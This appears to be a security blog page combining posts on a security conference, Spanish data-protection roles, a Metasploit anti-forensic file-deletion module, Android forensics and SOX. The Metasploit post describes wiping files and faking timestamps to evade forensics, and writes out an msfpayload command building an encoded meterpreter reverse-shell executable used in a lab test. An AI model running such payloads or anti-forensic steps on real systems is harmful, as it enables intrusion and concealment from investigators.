Next November 30th and December 1st, the second Conference on Information Security “Navaja Negra” will take place in Albacete, with a series of speeches focusing on Information Security such as:

• All your appliances are belong to us. Presentación de un 0-day.
• Show me your Intents.
• HASH COLLISIONS: Welcome to the (un)real World!
• Take a walk on the wild side.
• A brief introduction to reversing code with OllyDbg and other tools.
• From mail to jail: Exploit your ex.girlfriend.
• (in)Security in Mobile Communications.
• IPv6 vs IDS, se aceptan apuestas…

Talks will be given at Friday evening and Saturday morning in the Assembly Hall of the CEEI (Centro Europeo de Empresas de Innovación) by recognized professionals on security.

Conferences are completely free of charge but you need to register (there are no remaining free spaces although conferences will be broadcasted in streaming).

Information about the lectures is available in the section Itinerario del Congreso. If you come from outside Albacete, you might want to check Renfe and the Beatriz Hotel discounts. You also have the official poster to download.

All information is available in http://www.navajanegra.com. For questions and inquiries you can email us at contacto<at>navajanegra<dot>com.

(Editor note: This post is relative to the Spanish Data Protection Act or LOPD. Although LOPD is based on the 95/46/CE directive it may not be fully applicable to other countries inside the EU, so several sentences have been modified or eliminated.)

It’s been a long time since our last post about the Spanish Data Protection Act or LOPD. As you know, the Spanish Data Protection Act distinguishes between a series of figures, which can be grouped into “internal” and “external”. The first group includes mainly the Responsable de Seguridad (Security Manager) and the Responsable del Tratamiento (or Controller in 95/46/CE). Note that although some functions may be delegated to external companies, it is not possible to delegate responsibility, hence we consider these figures to “internal”.

In the second group, the subject of this post, we find the Encargado del Tratamiento (Processor in 95/46/CE), the Cesionario (approx. Recipient in 95/46/CE) and the service provider without access to personal data. Each of these figures has also specific features besides its own ambiguities. Ok.

• Encargado del Tratamiento or Processor: The LOPD defines the figure in Section 3, g) as “the natural or legal person, public authority, agency or any other body who, alone or jointly with others, processes personal data on behalf of the Responsable del Tratamiento [or Controller]“.To be absolutely clear we must see the definition of “data processing” in paragraph c) of the same article: “technical operations and procedures automated or not, enabling the collection, recording, storage , development, modification, blocking and cancellation, as well as transfers of data resulting from communications, consultations, interconnections and transfers “.

  Let´s see some examples. Suppose Company A hires the agency B to do the staff payroll. It is clear that in the process, B will process the data of company A employees “on behalf” of the company A. Therefore, the agency is a processor.

  Now the same company hires the company C for the management of their customer support center, which admits internal and external users inquiries. The events reported by the users contain the name of the user and other contact information. Again, it seems clear that C is a processor as they process personal data of “on behalf” of A..

  In these cases, it is necessary that company A signs, apart from the corresponding contract services, a personal data access contract as specified in Article 12.2 of the LOPD: “Performing treatments for others should be regulated in a contract […] where expressly establishes that the processor will only process the data in accordance with the instructions of the controller, and the data will not be applied or used for purposes other than that contained in the contract, nor shall, not even for preservation, to others. In the contract there will be stipulated […] the security measures […] that the processor is required to implement.”

  Note that since the Responsable del Tramiento or Controller (ie, who ultimately must ensure the security of the data) is the company, neither the agency nor the CAU management company must declare the processing, as it corresponds to “A”.

  Let’s move on to the next.

• Service Provider without access to personal data: Although LOPD does not explicitly define this figure (remember that between the LOPD and its regulation RDLOPD there are more than eight years), it is mentioned in the Article 83 of RDLOPD named “Services rendered without access to personal data“. In this case we will find companies which provide services unrelated to personal data but may have sporadic access to such information.Let’s see a couple of cases. This company has hired E, a cleaning company, whose contract is not obviously related to the processing of personal data. However, it is possible that in the performance of their duties, employees of E can see personal data.

  Company A has also hired a security company, let’s call such F, who has put a security guard monitoring the company fence perimeter. Again, in his work Philip (that’s the name of the guard) does not manage personal data, but can see people entering and leaving the company.

  Now if Philip is given new attributions and becomes responsible of the registration of the staff and visitors that enter and exit the company, the security company becomes a processor, that manages personal data “on behalf” of the company A.

  In these cases, the services contract “expressly collect the prohibition of access to personal data and the obligation of secrecy regarding the data that the staff could have known because of the service” (Art. 83 RDLOPD) , although it is usual that such information is contained in a separate confidentiality agreement contract.

  Again, also in this case it is A who must declare the processing, not the security company nor the cleaning one.

• Cesionario or Recipient: Finally, we have the recipient (95/46/CE definition of “recipient” may not be exactly the same as the LOPD). The LOPD defines in Article 3.i) the transfer or communication of data as “any disclosure of data to a person other than the person concerned“. However, when this data communication relates to the provision of services is not considered a communication of data, as specified in Article 12.1 of the LOPD: “ shall not be deemed data communication from a third party access to data when such access is necessary for the provision of a service to the controller “. Article 20.1 of RDLOPD adds an important consideration: “However, communication is deemed to exist when the access data is aimed at establishing a new connection between the entity accessing data and the user” .Note that this figure is the one most related to breaches of the LOPD, as often the necessary collaterals for the communication of the data to a third party (generally consent of the user affected) are not met. Put it this way, a recipient is “someone” who wants to establish its “own” processing over the personal data received, and will not always get the legal and necessary consent from the user. Unlike previous cases, since there is a new data processing and a new link between the user and the company receiving the data, it is necessary that the recipient declares the processing.

  Let’s see a couple of examples of what is a data communication.

  Imagine that Company A provides (sells, trades, sends) data of its employees to a telemarketing company for it’s use for their campaigns. In this case we are talking about a legal data communication if the consent of the employees has been previously requested (and thus company A has provided only the data of those who have given such consent), and illegal if it was not so. Note that this case is different from the case in which agency B decides to use on its own to use the data of the employees of Company A to send them comercial information, as stated in Article 12.4: “In the event that the processor uses the data for other purposes […] in breach of the contract shall be treated also as a controller […]“.

  It is also different from the case in which Company A hires telemarketing firm H for a commercial campaign, since in this case H would be a processor and who would incur an illegality would be the company A (unless he gets the consent of the final user). It is common to see this case to try to elude LOPD: a Spanish company hires an Indian company to send commercial information to its customers because LOPD doesn’t apply to the indian company itself. However, LOPD applies as the data processing is done “in the context of the activities of an establishment of the controller” (Article 3.1.a RDLOPD).

  Let’s finish with another case. Company A decides to hire a health insurance for their employees with the company J. Since such data processing is not directly related to any services contract between A and J, it is a data communication for which A must request consent of their employees. Moreover, in this case it is clear that a new independent link is created between the employee and the insurance company in which the company A does not intervene, and that can be maintained even when the employment relationship between the employee and the company A is complete.

Obviously, there are many other aspects of these figures noteworthy to mention, but first of all, it is imperative that an organization knows what is a processor, what a recipient and what a service provider without access to personal data, since each one of these figures require a different treatment. Please ask in the comments any doubts you may have.

It has recently been added to Metasploit (master branch) a module that can be interesting to delete files downloaded in a victim computer thru a meterpreter session.

This module, sdel, overwrites the file we want the number of times we choose, with random characters or null bytes (like the shred Linux command). Moreover, before deleting the file, it overwrites its name with a long string (200 bytes) and modifies its MACE attributes (access date, modification, creation and entry in the Master File Table (MFT)) making use of the API priv.fs.set_file_mace, as it is shown in its code.

As shown in the image, the new generated dates will correspond to the current date minus N random days .

As its description shows, this module can be very useful when, for instance, in the phase of post exploitation of a victim computer the user needs to download an executable file to perform some action and after that to delete its contents safely, in order to make it difficult for a potential subsequent forensic analysis.

The use of sdel is simple. To overwrite and delete the desired file, the user only has to specify the number of overwriting iterations that must be performed and the type of overwriting (random or null bytes). These are the choices of the module:

If after deleting a file with sdel we check its contents [2] on disk before and after the deletion, we can see that it has been overwritten properly. The following screenshots show the result before and after deleting a test file (msf.txt) on an NTFS filesystem.

The module has been developed by Borja Merino (@borjamerino), regular author of this blog, and you can use it as far as you are using the last version of Metasploit.

—

[1] The tests have been performed with a VM with Windows 7 (X.X.X.51) and Backtrack 5 r3 (X.X.X.41) used to generate a executable file (meterpreter.exe) with payload windows/meterpreter/reverse_tcp coded with the algorithm shikata_ga_nai:

msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.41 R | ./msfencode -e x86/shikata_ga_nai 
-c 10 -t exe -o meterpreter.exe

Executing the meterpreter.exe file in the victim machine and using Metasploit we obtain our reverse shell to connect to the victim computer:

The introduction of the Android operating system in mobile devices is growing at a overwhelming speed. Latest data point shows that 1.3 million Android devices are activated every day (Spanish). If Android maintains this pace, in just 4 years there will be more Google systems in operation than Windows systems. Therefore, the study of the security of Android is necessary and in security, an interesting and important area is the forensic study.

A forensic analyst must be able to extract the maximum available information from the device. Depending on the purpose of the research, s/he will focus on extracting different types of data. For example, a researcher who analyzes a possible malware-infected smartphone need processes in memory, active connections, the inbound and outbound traffic, while in the analysis of a mobile phone whose owner is suspected of a crime, it will look for data that could help the investigation to provide evidence, such as calls, emails, GPS position, photos, chat history, etc.

There area several methods to extract information from an android device: RAM memory dump, NAND memory image, external memory SD-card data and hot extraction data. Today’s post focuses on recovering data by using the Android system’s own commands, and more specifically, the logs generated by the system.

[Read more…]

I’m sure many of you know tcpdump and use it frequently. As we all know when it is run without privileges to capture packets on a network interface it displays the following message:

$ /usr/sbin/tcpdump -i eth0
tcpdump: eth0: You don't have permission to capture on that device
(socket: Operation not permitted)

[Read more…]

I do not know how deep is your memory, but the reader will probably remember the name of Enron, an energy company that became world famous thanks to an accounting fraud scandal that implicated George W. Bush in late 2001, and affected seriously the known auditing firm Arthur Andersen. Perhaps Worldcom name is also familiar, company that filed for bankruptcy and holds the dubious title of being today the largest bankruptcy case in U.S. history (excuse my lack of technical financial and/or legal vocabulary); Enron is second on the podium. Beyond these two famous cases, you may be not know that Tyco and Xerox were also involved in similar scandals, and that there are many more.

Without going into any further details, the common element in all these cases was the use of “accounting techniques” that concealed and mask financial problems, which came to be billions of dollars, showing a great lack of transparency in corporate governance and accounting and financial situation. Please notice that I have not said “lack of control”, because given the characteristics of these multimillion dollar frauds, in which major corporate managers were involved, we can not say that there were no internal control (although there was no external control) in the way thos fraudulent activities were carried. In response to this type of fraud, was created the U.S. law commonly known as SOX, whose full name is the Sarbanes-Oxley Act of 2002.

This law was designed with the purpose of increasing the financial transparency of companies listed on the U.S. stock market, thereby protecting investors and shareholders demanding reliability, responsibility and accuracy of financial data. In some way, we could say that SOX is, regarding accounting and financial data, what the Spanish Data Protection Act is in regard to personal data. The way that SOX has to implement these objectives is by establishing controls to prevent and deter the illicit financial activities, as well as introducing fines of up to $ 5M and imprisonment of up to 20 years for those managers whose companies fail to comply with SOX requirements. At this moment, this is one of the most comprehensive and strict laws —perhaps in some ways too much— in the prevention of financial crime, establishing a set of behaviors strongly punished such as alteration of financial reports, threats against potential informers of irregular activities (whistleblowers), or deceive and mislead the Auditors.

It should be noted that, in order to protect shareholders and investors, its scope is not limited to those corporations located in the US, but to any company, American or not, that directly or indirectly has a presence on the American Stock Exchange; this means therefore that a multinational corporation formed by different business units, in which only one of them is listed on the American Stock Exchange, must comply with SOX in all of them. This will prevent that a financial fraud at a subsidiary or parent company impacts on the accounts of the company which is traded on the American Stock Exchange and that is financially “clean” for all purposes.

Although as stated above the law clearly establishes the punishable and irregular behaviors and generally conveys the idea of transparency and responsibility to corporate governance, it does not get into into the specific details of the controls to implement to comply with SOX, leaving the decision and definition of controls to the companies. This brings as a main advantage the freedom and flexibility that gives to the company itself in the type, quality and quantity of controls. However, on the other hand this lack of definition and absence of concretion is one of main sources of confusion about what should be considered appropriate as a SOX control. The areas where SOX has an increased incidence are, according to the COSO (Committee of Sponsoring Organizations of the Treadway Commission) methodology for compliance: Risk assessment, Control of the working environment, Control of activities, Monitoring, and Information and communication.

In addition to the US law, there are laws with a similar purpose in other countries, well based on SOX, or independently; some examples are CSOX (Canada), CLERP9 (Australia), J-SOX (Japan) or LSF (France), and there is currently a project of European SOX called euroSOX. Although SOX is mandatory only for organizations that are traded on the American Stock Exchange, it must be considered as a reference standard for good governance.

However, we need to say that SOX is not, as well as any other regulation, a panacea; it does not put a gun in the neck of each broker, accountant or financial, nor a camera on top of each person. It is not able to foresee or avoid complex financial frauds which are developed by very knowledgeable people in the environment in which they move; another example is the recent case of Jérôme Kervial in Société Genéralé broker, although that is something to be analyzed in a separate entry.

To end with this introduction, what this frauds reveal is that, apart from regulations or exogenous constraints, it is essential that such controls and mechanisms are endogenous, arising from the company itself, aware of the risks external and internal that it is facing. The controls that laws such as SOX introduces into the organizations should not be something that “emanates” from alien organisms but security measures that companies should undertake by themselves.